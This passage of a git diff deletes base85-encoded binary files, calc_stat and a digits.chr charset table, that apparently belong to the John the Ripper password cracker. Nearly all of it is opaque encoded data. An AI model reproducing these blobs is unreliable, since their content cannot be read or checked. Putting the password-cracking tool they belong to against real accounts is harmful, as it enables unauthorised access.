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 Wm`--HS5W10ynQB@;T`|$|Nb9l2)C*L diff --git a/data/john/run.linux.x86.any/calc_stat b/data/john/run.linux.x86.any/calc_stat deleted file mode 100755 index 8ff2ad46465b1910d09add680c82bdcaf5f3ffa3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6892 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 diff --git a/data/john/run.linux.x86.any/digits.chr b/data/john/run.linux.x86.any/digits.chr deleted file mode 100644 index c7f480681bcac0fc9cd85ec0a18fa2313efabc8a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 40391 zcmZs^N1EeG6SbF-k><9i0YS38_oj;F+k5Z5uYrczfd-mu4Vr2TT8_4&NAF4Y|Buwq zcdL*DkcbR(;zT4^-=pUr7yr-y`+vmn|MTzU|Nh_JzZXOJU-|F<=D+{*N(g7SLioR) zgz&%o2_gM&AvpiD;4vh|7IFxgpD|<)Ifa}<387dhF%%Cag~BH#)DWtL8bkF^Q>Zyq zKCHn#B&OnLVrFwQkLGSUSdLcAO0>xQ9JtkBm7mEFK66d7Y8JVjv&l-fQmjVH*((3z zxLS&q+)}cn$)iX9F@G!!1BXmyD1!eyI{%ENndcZicuve6v&XC}BahAeOfiMX8U7_s zZrwDooCYDVD+{D2cgw4q`K#7FQ*N*TC~~l}NcVwp??pB~})o>$w-zqHJd1 z0HvbB|3cUk!rl<}g|I(_10fs?;ZO*J5QZU)LKuh8g)j-B4`CX@EQEOoheJ3L!qE_p zg>XEC6Cs=o;Zz8xLpXzdLpT@0`4BFIfXOd~a5)6*el>(^AzTmPMhGh*tcI`%VJ(F9 z5H>>C3<1B`4q+#Rn<3l^;dTgjLbw~ky%6q)@F0YTAv_AS+H}NwO!#|2*!=o^ndr6e1q}i{U@FJ(Wi) zdgRwRq?}WhEA6S+pZLIGtJmzc@GyMCQ_Kao4gZ<_=V1@?#jwZtpY0*kEbKMgn~Z~f zX8SDcH``w{{{gcDnI-DfL9>H}2c=v}DhdBYq(f$hEDX#B_-S(Db!ax^q=k{$DD#g{ z#^1x(Y;2)3>j-5F6SIkh-mE9!3NaC;W>X6@vzdjt+1$cmv%?mSm>scj)aZY;g@xI|!kXDyaXwr(Teq-bwvp0*7BS=ct) zPLU6H%yyD{Y_r6*=ja1aYm&7J~s7M__sv+&&Pc?$n!>GOrz3kxsJURro%_R7L*v)2~h zn7y&^*6gi?cV_P_yf=Gq;e*)+3m?rsTKHu4$--x|&lbLzeX;P>?5l-uX5WhZ;k(&) z3qQ<$q=-R(n*B`9!7sC47Ji%k2HGwBG5cfTui0NvEoTh9Cx*Sz_Qr_E?m@Nu%T8SE zi?%Puee%t)CmT!nuQ)NdKid8n_t%hX$+ZHHIRAlY2Vy)>g}eV%0-PmhCOH`GV2lR~ zpZJ~vB!@%M4#jw=Dhl=#C8$BPL5zc(_Eg2uFxoK2A#;}^H;G{sZ4~1u6TEp(4tt98 z;W*kj#&HZ?v@XUjhDo$ZjFTApXnl;m?gzNTG}<)AX=Q0baXy(vo5eUQf|Pl*d5rT? zz?1(x$naQF@C4+(CVzi4f5_cS5igqc+ zOJwyJE=Ri@6%YH}_Iup#zCVVm(XPgLwQ7cI(XPdKEr#pSuE%&ih8xjt z#CRiym1rw5uEek!Z8gSK4+q>1cs$^KAcjS>MU0CW)}pP&xK<*oSdX?I<9ZAm(Kce- z08L}qjJ6r$riX)W2R$BiKN!PSw5=GoV%Uzh9piQkJJEJx+^O<}o6&B@cr%7u(Qd_f ztCs(2{jV7MydCX!jJG`;ay#Vlko%!354;oYPK@HpDz7$3**B-)c0pTzJq+S3@H z#_%lKvlyRM$@4tg^BA9d7`hET4&8?_yomN9#uqWXjP^3dmodDG_A16#F}#lUI>y&A zyovTE#y2s%jrKOiw=ukn_AbVE9!72>k0bX{4DX}8kMVsBAEJGT@k0zBqkW9=V+^07 zeTwl@44NCl1no@#k?&1uuZOAI)Z^5B>S5+K^Eh*#RcD^L z+uY;aeV)R;WcyOwmwaDJ`#cUrW;(nwi?mFsr)Z+!7nSr6yj&UrlN zey&1D!g;sz9?!d8dzv$tT+a-^e+%Kgt zNa7EJ_LwIqc20H^;r% z_vW-WXUw{ATX+ z+ol5@4ti|4ZF$^s-%6oN(4p8R?^5bKY`blH+;-pgu;aGlamRhf!%erF9&fte%wb=) zeL3#SzAvYJIpaUK+-`Zi<$f!LNwP_bljM_>CLV6P-F866!I?X5cRb#4zvJPq+g*=$ z-S2w1=XTHIJ@9a|fdwn0n#%!s83~7am@^z4Z9f{bdUCWb+i~ zi9kzp53k%_d3@#m%EN27*B)QHzs})6hS^5Q?SY&Q>f_~7=z;|KQ-9zME#^!U;JV+u!-9ZB&> z@*^o7@$kv*lgCf)pFDha`|R0r);;a9h>9>2PO zP2p&=qbVLuU_v_T;hWnxkKf$CdHC-3-Q#!n?;d`*{qXq1{fCF2Za+Q#bpM&cv1G?m zJeK@eN0}OrY=aDUa_G|_=RpdmlATKN zRPs|Poho5(G5E&b0_#Y7OWs?`-V{zJJDuX`1VAM)>P)gTDV|AwCZ#hu46_Y$9A+Qp zG|YLJ!r5eJQ#_meY)WTSIG5o0@m%tADV@tb|J+J$uFdIA%%;{E~a=f`Nfnj<}l7S&T*W5oYOexaSE4` zT}ts%0^br4cRAVR6fY;goYLhKt|YsX;+5oAQo52um#xdO%iiVG<=mC9zfgk3{l)i} zw7=y2rR-1PYO<>-UQGaC0t2rlyO!d$Bl9;THX`fPoUefB=5KIcA#)nuzFt|nhiX|;p{#SWBs zp!k834wQVLlmjU&k}XnPBwwVoNMSA6T8eAQ*HT)`VVZ54<23s;0}gqb!g{jx6xS1& znSjlWMBx)Rl2iU{q_CN6GsVs1n<;JPFv~W}ah83S(=6v%2{7}61%B=aOQIS*Sjxc^ zwvuh7xRpTE1gLH&)lJ*Uw^Q2AVV-TC<2?I3r+Log-&_8uwKSfkZ8^ua?d+Mku%`)D%q*TLfdY!_XWN%V@ll)CeZ*n-9?PQK8v!Bc$RX&-*+hlK3e4EGuiA3-&*}D|qC4ZOF zyAnplMkS7lk4hSqJSqhwd7tckitm%ZPw9OQbRkaVcq;p;oKEF@DuoZpKBV{|`G=G~ zr0_A>#}q#%GDZ4W!~SafE48ZcuW5hH`)k=>D}nzh*{2jgCI6JtryNdaJDua{?5A@& zoimX5IoanFKPUg3(&rSuB>R%$m*ihk`ceYqd0gVSz@pQ*S`f1vt-nhw-_ zpq2x*9?0Q*w(~ij&wf6q^Esc-;X<|xIbO(qA*TyDUnpTxY*ON+_@tys$&*qhIb6(k zF~^J9FJ?eKgY%cNUCQxN_DeZk%9$#)FV>gX7w=2zOYTeQYdBc#V2uZ>AFSzM%?E2a zSnI(YE@!)({l|0AYUnAT5MY4wD`27Y01-4pjB5h?WTA& z`_-K2J6+A;TDEIBUdw(h1OEA14Tq{7s_Il6s)<_iPz8wUp%UmD%nIEDpOrK#plF%p za6Q}g9It1;p40W5ujgv#;m0p7VMMM~WROYH=JX=}5^(N;#6l zMz)O{H?nW!w2|{h4x8CFbKK0nnMo*lvxZ@{VU5G;!w$$a=exORwe=E zTO}MXcD%&n#gCVCyyWAhK)r5fyPf0h?6-5eo%8J+?qs`@~}NyCEqRKM6nYko+y5zq!T5dDCI;B_p;r~@m}_OIo-?oUJc`F;~K}+$2E;>9@jFi zb)3WfZ1;1#pZ$JL_jA5q!pUMMOFUWpWJxDWK3NJh??JW)IX=k#Ad{Ffx#?lHhdDmX z{xGM9IX}$dQMN}pKFa>Wq+2*S(&u;JlpdepJ#ub)AO9kM`wziDYU$tuGg88&y;eehDo(a zjgv}qAWdqX)H10R+<1}gMUF4BzsTuD&M$I!neAncFSEbQq^kU~gtNuY7Mf;$wj^3- zXG=Mo!>eqsa(tEjRZg#RewD-PY_D^CovB&U>zrSgaIV<763-PsSJJrxR2Dexn{01# ze3Si6CYR+mHPE2wD@{c@6{)Y8?qXkSpTpa1Z*zQ`{cTQfbAFq{yKL`re3$)QPVaIi zwVf|^zQpsz&lmV`K3@u$`99nG9N%YupGj?*?Diqsha5j-|B%y%oIjLsq1c6@w%&!3 zE);OJT*%>LwvRb}%>FT_k2#a(rq!mE4yR9RqR%<4Wm+pJ_bJ<_96x3Mlu2`$O!qn4 z=Nvz0|D4n3oIjUvvDn2DFBZR8(#4W5mI5q)$@V43FPZ8oeaV>`>T9;IIeyLlHIv=) 